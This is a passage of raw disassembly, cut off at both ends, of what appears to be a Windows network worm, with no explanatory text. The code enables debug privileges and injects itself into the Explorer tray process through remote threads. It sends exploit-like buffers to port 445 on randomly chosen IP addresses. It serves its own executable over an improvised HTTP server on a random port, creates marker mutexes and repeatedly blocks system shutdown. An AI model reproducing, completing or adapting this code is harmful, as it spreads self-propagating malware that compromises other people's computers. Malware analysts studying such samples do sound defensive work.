dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31431A2F push 60h lea eax, [ebp+var_E4] push offset dword_314347C0 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31432EB2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31432EAC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31432EB2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31432EA6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31432EA6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31431164 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31431168 ; connect cmp eax, 0FFFFFFFFh jz loc_31431F12 mov esi, dword_3143109C mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3143116C push 89h push offset dword_314345A8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A8h push offset dword_31434634 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0DEh push offset dword_314346E0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp eax, 46h jl loc_31431F07 cmp [ebp+var_730], 31h jnz loc_31431DB2 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31432EA6 ; memset add esp, 0Ch push offset byte_314342E0 call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31432EB2 ; memcpy mov eax, dword_31434BE6 add esp, 0Ch mov [ebp+var_798], eax loc_31431C53: ; CODE XREF: sub_314319BC+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 68h push offset dword_31434824 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A0h push offset dword_31434890 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp [ebp+arg_0], 0 jz loc_31431EA2 push 68h lea eax, [ebp+var_89E4] push offset dword_31434A48 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31432EB2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31434AB4 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31432EB2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31434B28 push eax call sub_31432EB2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31431EFA ; --------------------------------------------------------------------------- loc_31431DB2: ; CODE XREF: sub_314319BC+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31432EA6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31434C98 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy add esp, 40h push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31431E4E: ; CODE XREF: sub_314319BC+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31431E4E and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31432EA6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31432EA6 ; memset add esp, 18h jmp loc_31431C53 ; --------------------------------------------------------------------------- loc_31431EA2: ; CODE XREF: sub_314319BC+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31434934 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31432EB2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_314349B4 push eax call sub_31432EB2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31431EFA: ; CODE XREF: sub_314319BC+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31431F07: ; CODE XREF: sub_314319BC+1ADj ; sub_314319BC+1E1j ... push 2 push [ebp+var_4] call dword_31431174 ; shutdown loc_31431F12: ; CODE XREF: sub_314319BC+166j push [ebp+var_4] call dword_31431178 ; closesocket pop esi loc_31431F1C: ; CODE XREF: sub_314319BC+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_314319BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431F23 proc near ; CODE XREF: UPX0:loc_31432531p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314310AC ; LoadLibraryA mov esi, dword_314310A8 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31431FA7 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31431FA7 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31431FA7 lea eax, [ebp+var_C] push eax push 20h call dword_314310A4 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31431FA7: ; CODE XREF: sub_31431F23+28j ; sub_31431F23+37j ... pop edi pop esi leave retn sub_31431F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431FAB proc near ; CODE XREF: UPX0:31432545p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31435040 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314310B8 ; GetModuleHandleA mov esi, dword_314310A8 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31431FF2 loc_31431FEE: ; CODE XREF: sub_31431FAB+54j push 1 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31431FF2: ; CODE XREF: sub_31431FAB+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31431FEE push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31431114 ; FindWindowA test eax, eax jnz short loc_31432020 call dword_31431118 ; GetForegroundWindow test eax, eax jnz short loc_31432020 push 2 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31432020: ; CODE XREF: sub_31431FAB+65j ; sub_31431FAB+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_3143111C ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314310B4 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31432046 push 3 loc_31432043: ; CODE XREF: sub_31431FAB+45j ; sub_31431FAB+73j pop eax jmp short loc_314320B1 ; --------------------------------------------------------------------------- loc_31432046: ; CODE XREF: sub_31431FAB+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_31431080 test eax, eax jz short loc_314320A4 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314310B0 ; WriteProcessMemory push dword_31435034 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31432090 push eax call esi ; CloseHandle jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_31432090: ; CODE XREF: sub_31431FAB+DEj push offset aUterm192 ; "uterm19-2" call sub_314320E4 pop ecx mov [ebp+var_4], 5 jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_314320A4: ; CODE XREF: sub_31431FAB+B2j mov [ebp+var_4], 4 loc_314320AB: ; CODE XREF: sub_31431FAB+E3j ; sub_31431FAB+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_314320B1: ; CODE XREF: sub_31431FAB+99j pop edi pop esi pop ebx leave retn sub_31431FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320B6 proc near ; CODE XREF: sub_3143237F+Bp ; UPX0:31432507p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314310BC ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314310EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_314320B6 endp ; =============== S U B R O U T I N E ======================================= sub_314320E4 proc near ; CODE XREF: sub_31431FAB+EAp ; UPX0:31432511p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314310C0 ; CreateMutexA retn sub_314320E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320F3 proc near ; CODE XREF: sub_3143256D+163p ; sub_3143256D+16Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread pop ebp retn sub_314320F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143210D proc near ; CODE XREF: sub_3143237F+12Cp ; sub_3143278A+59p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread push eax call dword_31431080 ; CloseHandle pop ebp retn sub_3143210D endp ; =============== S U B R O U T I N E ======================================= sub_3143212E proc near ; CODE XREF: sub_314311A0+68p ; sub_31432C62+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31432156 loc_3143213F: ; CODE XREF: sub_3143212E+26j call dword_314310FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_3143213F loc_31432156: ; CODE XREF: sub_3143212E+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_3143212E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143215E proc near ; CODE XREF: sub_314311A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31432EA6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314310C8 ; CreateProcessA push [ebp+var_C] mov esi, dword_31431080 mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_3143215E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314321B4 proc near ; CODE XREF: sub_31432810+3Ep ; sub_314328D7+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_31431150 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_314321D5 call dword_31431154 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_314321D5: ; CODE XREF: sub_314321B4+15j lea eax, [ebp+var_34] push eax call dword_31431158 ; gethostbyname test eax, eax jnz short loc_314321EA mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_314321EA: ; CODE XREF: sub_314321B4+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_314321B4 endp ; =============== S U B R O U T I N E ======================================= sub_314321F3 proc near ; CODE XREF: sub_3143185D+12p ; sub_31432728+21p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31431134 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_314321F3 endp ; =============== S U B R O U T I N E ======================================= sub_31432209 proc near ; CODE XREF: sub_3143256D+F4p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314310D0 ; OpenEventA test eax, eax jz short locret_31432222 push eax call dword_314310CC ; SetEvent locret_31432222: ; CODE XREF: sub_31432209+10j retn sub_31432209 endp ; =============== S U B R O U T I N E ======================================= sub_31432223 proc near ; CODE XREF: sub_3143185D+68p push esi mov esi, dword_314310FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31432223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432239 proc near ; DATA XREF: sub_3143237F+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jnz short loc_3143226A push 1 jmp loc_31432325 ; --------------------------------------------------------------------------- loc_3143226A: ; CODE XREF: sub_31432239+28j mov esi, dword_31431104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31432335 lea eax, [ebp+var_100] push offset dword_314341F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31432335 mov esi, dword_3143116C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31435030 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31432EAC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_314322E7: ; CODE XREF: sub_31432239+E8j mov eax, dword_31435030 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_314322F9 mov eax, ecx loc_314322F9: ; CODE XREF: sub_31432239+BCj test eax, eax jz short loc_31432328 push 0 push eax mov eax, dword_31435028 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31432323 cmp eax, 1000h jb short loc_31432328 push 64h add edi, eax call dword_3143109C ; Sleep jmp short loc_314322E7 ; --------------------------------------------------------------------------- loc_31432323: ; CODE XREF: sub_31432239+D5j push 2 loc_31432325: ; CODE XREF: sub_31432239+2Cj pop eax jmp short loc_31432378 ; --------------------------------------------------------------------------- loc_31432328: ; CODE XREF: sub_31432239+C2j ; sub_31432239+DCj push offset dword_3143502C call dword_314310D8 ; InterlockedIncrement jmp short loc_31432353 ; --------------------------------------------------------------------------- loc_31432335: ; CODE XREF: sub_31432239+49j ; sub_31432239+61j mov esi, dword_3143116C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31434D64 push ebx call esi ; send loc_31432353: ; CODE XREF: sub_31432239+FAj push 7D0h call dword_3143109C ; Sleep push 2 push ebx call dword_31431174 ; shutdown push ebx call dword_31431178 ; closesocket push 0 call dword_314310D4 ; ExitThread xor eax, eax loc_31432378: ; CODE XREF: sub_31432239+EDj pop edi pop esi pop ebx leave retn 4 sub_31432239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143237F proc near ; DATA XREF: sub_3143256D+15Eo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_314320B6 lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_3143502C, ebx call sub_31432A49 add esp, 14h test eax, eax jnz loc_314324B4 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31431084 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_314323EB push 1 call dword_314310D4 ; ExitThread loc_314323EB: ; CODE XREF: sub_3143237F+62j push ebx push esi call dword_314310E0 ; GetFileSize push eax mov dword_31435030, eax call sub_31432E6C pop ecx mov dword_31435028, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31435030 push eax push esi call dword_314310DC ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31435030, eax call dword_31431080 ; CloseHandle push ebx push 1 push 2 call dword_3143115C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31432EA6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3143244D: ; CODE XREF: sub_3143237F+E5j ; sub_3143237F+EDj ... call dword_314310FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_3143503C, eax jz short loc_3143244D xor ecx, ecx mov cl, ah test cl, cl jz short loc_3143244D push eax call dword_31431164 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31431144 ; bind test eax, eax jnz short loc_3143244D push 64h push edi call dword_31431148 ; listen mov [ebp+var_8], esi pop esi loc_31432496: ; CODE XREF: sub_3143237F+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_3143114C ; accept push eax push offset sub_31432239 call sub_3143210D pop ecx pop ecx jmp short loc_31432496 ; --------------------------------------------------------------------------- loc_314324B4: ; CODE XREF: sub_3143237F+3Dj push ebx call dword_314310D4 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3143237F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314324C3 proc near ; CODE XREF: sub_3143256D:loc_314326C5p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_31431140 push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_314324C3 endp ; --------------------------------------------------------------------------- loc_314324EF: ; CODE XREF: UPX1:31437DD8j push 0 call dword_314310B8 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31435040, eax call dword_31431074 ; DeleteFileA call sub_314320B6 push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax call dword_31431078 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31432531 push 1 call dword_314310E4 ; ExitProcess loc_31432531: ; CODE XREF: UPX0:31432527j call sub_31431F23 call sub_31432BAD call sub_31432D2E push offset sub_3143256D call sub_31431FAB test eax, eax pop ecx jz short loc_31432556 push 0 call sub_3143256D loc_31432556: ; CODE XREF: UPX0:3143254Dj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31432559 proc near ; CODE XREF: sub_3143256D:loc_314326EEp ; sub_31432728:loc_31432740p ... push 0 push dword_31435038 call dword_31431070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31432559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143256D proc near ; CODE XREF: UPX0:31432551p ; DATA XREF: UPX0:31432540o var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431190 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6Ch push ebx push esi push edi mov [ebp+var_78], offset aU10x ; "u10x" mov [ebp+var_74], offset aU11x ; "u11x" mov [ebp+var_70], offset aU12x ; "u12x" mov [ebp+var_6C], offset aU13x ; "u13x" mov [ebp+var_68], offset aU14x ; "u14x" mov [ebp+var_64], offset aU15x ; "u15x" mov [ebp+var_60], offset aU16x ; "u16x" mov [ebp+var_5C], offset aU17x ; "u17x" mov [ebp+var_58], offset aU18x ; "u18x" mov [ebp+var_54], offset aU19x ; "u19x" mov [ebp+var_50], offset aU8 ; "u8" mov [ebp+var_4C], offset aU9 ; "u9" mov [ebp+var_48], offset aU10 ; "u10" mov [ebp+var_44], offset aU11 ; "u11" mov [ebp+var_40], offset aU12 ; "u12" mov [ebp+var_3C], offset aU13 ; "u13" mov [ebp+var_38], offset aU13i ; "u13i" mov [ebp+var_34], offset aU14 ; "u14" mov [ebp+var_30], offset aU15 ; "u15" mov [ebp+var_2C], offset aU16 ; "u16" mov [ebp+var_28], offset aU17 ; "u17" mov [ebp+var_24], offset aU18 ; "u18" mov [ebp+var_20], offset aU19 ; "u19" mov [ebp+var_1C], offset aU20 ; "u20" push offset aU20x ; "u20x" xor edi, edi push edi push 1 push edi call dword_3143106C ; CreateEventA mov dword_31435038, eax mov [ebp+var_4], edi mov [ebp+var_7C], edi loc_31432654: ; CODE XREF: sub_3143256D+FDj cmp [ebp+var_7C], 0Ah jnb short loc_3143266C mov eax, [ebp+var_7C] push [ebp+eax*4+var_78] call sub_31432209 pop ecx inc [ebp+var_7C] jmp short loc_31432654 ; --------------------------------------------------------------------------- loc_3143266C: ; CODE XREF: sub_3143256D+EBj mov [ebp+var_7C], edi loc_3143266F: ; CODE XREF: sub_3143256D+118j cmp [ebp+var_7C], 0Eh jnb short loc_31432687 mov eax, [ebp+var_7C] push [ebp+eax*4+var_50] call sub_314320E4 pop ecx inc [ebp+var_7C] jmp short loc_3143266F ; --------------------------------------------------------------------------- loc_31432687: ; CODE XREF: sub_3143256D+106j cmp [ebp+arg_0], edi jz short loc_314326C5 push offset aWs2_32 ; "ws2_32" mov esi, dword_314310AC call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax loc_314326C5: ; CODE XREF: sub_3143256D+11Dj call sub_314324C3 push edi push offset sub_3143237F call sub_314320F3 push edi push offset sub_3143185D call sub_314320F3 push edi push offset loc_31432933 call sub_314320F3 add esp, 18h loc_314326EE: ; CODE XREF: sub_3143256D+19Cj call sub_31432559 test eax, eax jnz short loc_3143270B push edi call dword_31431018 ; AbortSystemShutdownA push 1388h call dword_3143109C ; Sleep jmp short loc_314326EE ; --------------------------------------------------------------------------- loc_3143270B: ; CODE XREF: sub_3143256D+188j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3143256D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432728 proc near ; DATA XREF: sub_3143278A+54o ; sub_31432810+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432737 push 1 pop eax jmp short locret_31432786 ; --------------------------------------------------------------------------- loc_31432737: ; CODE XREF: sub_31432728+8j mov al, byte ptr [ebp+arg_0+3] push ebx mov [ebp+var_1], al xor bl, bl loc_31432740: ; CODE XREF: sub_31432728+59j call sub_31432559 test eax, eax jnz short loc_31432783 call sub_314321F3 test eax, eax jz short loc_31432783 cmp [ebp+var_1], bl jz short loc_3143277C mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_314319BC pop ecx call dword_314310FC ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep loc_3143277C: ; CODE XREF: sub_31432728+2Dj inc bl cmp bl, 0FFh jb short loc_31432740 loc_31432783: ; CODE XREF: sub_31432728+1Fj ; sub_31432728+28j xor eax, eax pop ebx locret_31432786: ; CODE XREF: sub_31432728+Dj leave retn 4 sub_31432728 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143278A proc near ; DATA XREF: sub_31432810+7Eo ; UPX0:314329CAo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432798 push 1 pop eax jmp short loc_3143280C ; --------------------------------------------------------------------------- loc_31432798: ; CODE XREF: sub_3143278A+7j push esi push edi call sub_314320B6 mov esi, dword_314310FC xor edi, edi loc_314327A7: ; CODE XREF: sub_3143278A+7Cj call sub_31432559 test eax, eax jnz short loc_31432808 call sub_314321F3 test eax, eax jz short loc_31432808 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31435044 mov byte ptr [ebp+arg_0+3], al call dword_314310D8 ; InterlockedIncrement push [ebp+arg_0] call sub_314319BC test eax, eax pop ecx jnz short loc_314327EA push [ebp+arg_0] push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314327EA: ; CODE XREF: sub_3143278A+4Fj call esi ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep inc edi cmp edi, 8000h jl short loc_314327A7 loc_31432808: ; CODE XREF: sub_3143278A+24j ; sub_3143278A+2Dj pop edi xor eax, eax pop esi loc_3143280C: ; CODE XREF: 